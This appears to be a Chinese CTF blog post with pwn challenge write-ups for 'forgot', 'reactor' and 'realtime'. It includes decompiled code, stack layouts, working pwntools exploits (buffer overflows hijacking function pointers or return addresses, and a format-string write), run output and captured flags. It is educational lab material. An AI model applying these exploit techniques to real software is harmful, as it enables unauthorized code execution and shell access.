dustland

dustball in dustland

xctf攻防世界-pwn-高手村

xctf-攻防世界-pwn高手村

forgot (On2022.6.19)

image-20220619234811216

checksec

1
2
3
4
5
6
7
8
┌──(kali㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/forgot]
└─$ checksec forgot
[*] '/mnt/c/Users/86135/Desktop/pwn/forgot/forgot'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

没有金丝雀,没有地址随机化.

只有堆栈不可执行保护

Strings视图

image-20220619191536296

cat,flag字样,前往其所在的函数看看

1
2
3
4
5
6
7
int sub_80486CC()
{
char s[58]; // [esp+1Eh] [ebp-3Ah] BYREF

snprintf(s, 0x32u, "cat %s", "./flag");
return system(s);
}

显然只需要调用该函数就可以获取flag,该函数的起始地址是0x80486CC,然而该函数的Function calls视图中没有调用者,即对该函数的调用要通过站缓冲区溢出修改函数返回地址实现

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
int __cdecl main()
{
size_t v0; // ebx
char v2[32]; // [esp+10h] [ebp-74h] BYREF
_DWORD v3[10]; // [esp+30h] [ebp-54h]
char s[32]; // [esp+58h] [ebp-2Ch] BYREF
int v5; // [esp+78h] [ebp-Ch]
size_t i; // [esp+7Ch] [ebp-8h]

v5 = 1;
v3[0] = sub_8048604;//sub_8048604是一个函数,这里没写函数括号,说明v3[0]只是存放函数地址,并不调用函数
v3[1] = sub_8048618;
v3[2] = sub_804862C;
v3[3] = sub_8048640;
v3[4] = sub_8048654;
v3[5] = sub_8048668;
v3[6] = sub_804867C;
v3[7] = sub_8048690;
v3[8] = sub_80486A4;
v3[9] = sub_80486B8;//该函数打印了"You just made it. But then you didn't!",看样子是目标函数
puts("What is your name?");
printf("> ");
fflush(stdout);
fgets(s, 32, stdin);
sub_80485DD(s);
fflush(stdout);
printf("I should give you a pointer perhaps. Here: %x\n\n", sub_8048654);//将sub_8048654函数的地址打印出来
fflush(stdout);
puts("Enter the string to be validate");
printf("> ");
fflush(stdout);
__isoc99_scanf("%s", v2);//scanf获取输入,存在栈缓冲区溢出,v2可以溢出
for ( i = 0; ; ++i )
{
v0 = i;
if ( v0 >= strlen(v2) )
break;
switch ( v5 )
{
case 1:
if ( sub_8048702(v2[i]) )//会根据v2[i]来决定会不会修改v5
v5 = 2;
break;
case 2:
if ( v2[i] == 64 )
v5 = 3;
break;
case 3:
if ( sub_804874C(v2[i]) )
v5 = 4;
break;
case 4:
if ( v2[i] == 46 )
v5 = 5;
break;
case 5:
if ( sub_8048784(v2[i]) )
v5 = 6;
break;
case 6:
if ( sub_8048784(v2[i]) )
v5 = 7;
break;
case 7:
if ( sub_8048784(v2[i]) )
v5 = 8;
break;
case 8:
if ( sub_8048784(v2[i]) )
v5 = 9;
break;
case 9:
v5 = 10;
break;
default:
continue;
}
}
((void (*)(void))v3[--v5])();//使用函数指针调用函数,显然要通过该函数指针执行sub_80486CC函数
return fflush(stdout);
}

循环中出现过的三个判断函数

1
2
3
4
5
_BOOL4 __cdecl sub_8048702(char a1)
{
return a1 > 96 && a1 <= 122 || a1 > 47 && a1 <= 57 || a1 == 95 || a1 == 45 || a1 == 43 || a1 == 46;
//a1是小写字母或者阿拉伯数字或者[ - + .其中之一就返回true,否则false
}
1
2
3
4
5
_BOOL4 __cdecl sub_804874C(char a1)
{
return a1 > 96 && a1 <= 122 || a1 > 47 && a1 <= 57 || a1 == 95;
//a1是小写字母或者阿拉伯数字或者[ 其中之一就返回true,否则false
}
1
2
3
4
5
_BOOL4 __cdecl sub_8048784(char a1)
{
return a1 > 96 && a1 <= 122;
//a1是小写字母就返回true,否则false
}

main栈帧

1
2
3
4
5
6
7
8
9
10
-00000074 v2              db 32 dup(?)
-00000054 v3 db 40 dup(?)
-0000002C s db 32 dup(?) ; string(C)
-0000000C v5 dd ?
-00000008 i dd ?
-00000004 var_4 dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables

v2在栈底,其上的所有东西都可以溢出

v3就是函数指针那一伙子数组

((void (*)(void))v3[--v5])();这里,v5会经过前面的一系列循环判断被修改.

我们的想法是,将0x80486CC溢出到v3[0]这么一个固定地址,方便最后的((void (*)(void))v3[--v5])();执行它

那么还需要保证v5一开始为1(这个程序一开始设定好了)并且后来一直不被改变.

但是有个规律是,只有循环中三个判断函数返回true时v5才会被修改,如果判断函数都返回false则显然v5不会被修改.

又这三个判断函数只会对 a1是小写字母或者阿拉伯数字或者[ - + .这几种情况返回true,那么如果能够将v2[i]溢出成除了这些字符之外的字符就可以绕过判断,保证v5=1,如此最终出循环的时候,((void (*)(void))v3[--v5])();就相当于((void (*)(void))v3[0])();,执行固定的函数

现在问题转化为如何保证v2数组满足上述条件,显然v2就是我们要输入的,这个自然可以满足,输入32个问号?或者32个大写字母均可

还要解决的是溢出v3[0]的问题

v3[0]是一个四字32位,并且v3紧挨着v2,显然当v2写满了,紧接着就溢出v3了

因此exp可以这样写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

sh = process('./forgot')

sh.recv()

sh.sendline('vader')

sh.recv()

payload=('A'*32).encode()+p32(0x080486cc)

sh.sendline(payload)

sh.interactive()

或者,反正v5总是落在1到10范围内,最后((void (*)(void))v3[--v5])();反正是执行的v3函数指针数组的其中一项,那么直接把v3数组的每一项都溢出成0x80486CC,这样就不用关心v5的值是多少了,也就是不用绕过判断函数了

因此exp还可以这样写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

sh = process('./forgot')

sh.recv()

sh.sendline('vader')

sh.recv()

payload=('?'*32).encode()+p32(0x080486cc)*10 #由于不用关心v5,因此v2数组也不用关心了

sh.sendline(payload)

sh.interactive()

flag

最终得到flag

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/forgot]
└─$ python3 exp.py
[+] Opening connection to 111.200.241.244 on port 51086: Done
/mnt/c/Users/86135/Desktop/pwn/forgot/exp.py:23: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
sh.sendline('vader')
[*] Switching to interactive mode
I should give you a pointer perhaps. Here: 8048654

Enter the string to be validate
> cyberpeace{4edfc4922cff2900b97255284e605051}
[*] Got EOF while reading in interactive

错误想法

错误1

在循环伊始

1
2
3
4
5
6
for ( i = 0; ; ++i )
{
v0 = i;
if ( v0 >= strlen(v2) )
break;
....

首先用v0=i然后让v0和strlen(v2)作比较,如果v0很大则直接跳过循环

我一开始想用溢出v0跳过循环保持v5=1不变

由于v0=i因此我想让i溢出成很大的值然后v0获得其拷贝也是个大数

于是得到了这样的payload:

1
payload=('a'*32).encode()+p32(0x080486cc)+('a'*0x48).encode()+p32(0x7fffffff)

前32个字符随便写填满v2,反正不会进入循环

然后v3的第一个四字溢出成0x80486cc这个函数地址

然后[ebp-0x50,ebp-0x8)这78个字符都随便溢出,

然后i溢出成最大正数0x7fffffff

结果这样打不通

原因是,for ( i = 0; ; ++i )在循环一开始 的时候有一个i=0这个是在代码段里的,这打死也改不了

也就是在执行到这里的时候,我们的payload变成了

1
payload=('a'*32).encode()+p32(0x080486cc)+('a'*0x48).encode()+p32(0x0)

i改了也白改,因为v2获取输入发生在循环之前,进入循环的时候又要i=0初始化循环变量

错误2

那么此时把前32个字符改成'A'企图用老方法绕过每次判断函数还可以吗?也不行

因为('a'*0x48)这里我们已经把v5溢出成a(ascii码为97)了,最后出了循环的时候执行的是((void (*)(void))v3[96])();显然这对于v3指针数组来说已经访问越界了

错误3

直接不管main函数的所有逻辑,溢出main的返回地址,改成0x80486cc可以吗

即payload这样写:

1
payload=('a'*0x78).encode()+p32(0x80486CC)

前面0x78个字节啥也不管全都乱写,最后返回地址r溢出成0x80486CC

这样写也不行,因为中间将v3那个指针数组溢出毁了,所有的指针都指向0x97这个位置,而这个位置显然不在程序的虚拟地址空间里面(本程序的虚拟地址空间从0x08048000开始).这个位置指的是谁呢?我反正不知道,也不想知道.反正发生了段错误.还没等到main函数返回时程序就因为段错误结束运行了

反应釜开关控制

image-20220619233350713
1
2
3
4
5
PS C:\Users\86135\Desktop\pwn\reactor> checksec reactor      [*] 'C:\\Users\\86135\\Desktop\\pwn\\reactor\\reactor'           Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

有一个shell函数

1
2
3
4
int shell()
{
return system("/bin/sh");
}

但是没有调用者,需要溢出主函数的返回地址,改成shell的地址4005F6

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[64]; // [rsp+0h] [rbp-240h] BYREF
char v5[512]; // [rsp+40h] [rbp-200h] BYREF

write(1, "Please closing the reaction kettle\n", 0x23uLL);
write(1, "The switch is:", 0xEuLL);
sprintf(s, "%p\n", easy);
write(1, s, 9uLL);
write(1, ">", 2uLL);
gets(v5);//此处存在栈缓冲区溢出攻击
return 0;
}

main函数栈帧

1
2
3
4
5
-0000000000000200 v5              db 512 dup(?)
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

前512+8=520个字节随便溢出

后面八个字节溢出成shell函数的地址0x4005F6

属实有点儿弱智了

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

sh=process('./reactor')

sh.recv()

payload=(520*'a').encode()+p64(0x4005f6);

sh.sendline(payload)

sh.interactive()
1
2
3
4
5
6
┌──(kali㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/reactor]
└─$ python3 exp.py
[+] Starting local process './reactor': pid 44
[*] Switching to interactive mode
$ whoami
kali

cyberpeace{a6053fab9ffe26d2ddc53ce7f78e08be}

实时数据监测

1
2
3
4
5
6
7
8
9
┌──(kali㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/realtime]
└─$ checksec realtime
[*] '/mnt/c/Users/86135/Desktop/pwn/realtime/realtime'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

主函数只调用了一共locker函数

1
2
3
4
5
6
7
8
9
10
11
12
13
int locker()
{
int result; // eax
char s[520]; // [esp+0h] [ebp-208h] BYREF

fgets(s, 512, stdin);
imagemagic(s);
if ( key == 35795746 )//如果key=3579576=0x2223322,看来需要溢出改变
result = system("/bin/sh");
else
result = printf(format, &key, key);
return result;
}

关键函数在imagemagic(s);

1
2
3
4
int __cdecl imagemagic(char *format)
{
return printf(format);
}

存在printf格式化字符串漏洞,format来自locker中的s,s来自stdin键盘输入,长度512个字节,足够写入负载了

首先要确定printf时,格式化字符串参数在栈上什么地方

1
2
3
4
5
6
7
8
9
from pwn import *

sh=process("./realtime")

payload=("AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p").encode()

sh.sendline(payload)

sh.interactive()
1
2
3
4
5
6
7
8
┌──(kali㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/realtime]
└─$ python3 exp.py
[+] Starting local process './realtime': pid 77
[*] Switching to interactive mode
[*] Process './realtime' stopped with exit code 0 (pid 77)
AAAA-0xf7f5ace0-0xff8a6a84-(nil)-0x1-0x80483a0-0xff8a6a28-0x80484e7-0xff8a6820-0x200-0xf7f2b580-(nil)-0x41414141-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d
The location of key is 0804a048, and its value is 00000000,not the 0x02223322. (╯°Д°)╯︵ ┻━┻
[*] Got EOF while reading in interactive

0x41414141是栈上第12个参数,现在可以用key的地址0x804A048替代AAAA,然后用payload=p32(0x0804A048)+('%035795742c%12$n').encode()4+035795742写到第12个参数上

1
2
3
4
5
6
7
8
9
from pwn import *

sh=process("./realtime")

payload=p32(0x0804A048)+('%035795742c%16$n').encode()

sh.sendline(payload)

sh.interactive()

运行之后终端上会输出035795746个空格,需要等好长好长时间,才轮到我们与终端交互

有没有温柔一些的方法呢?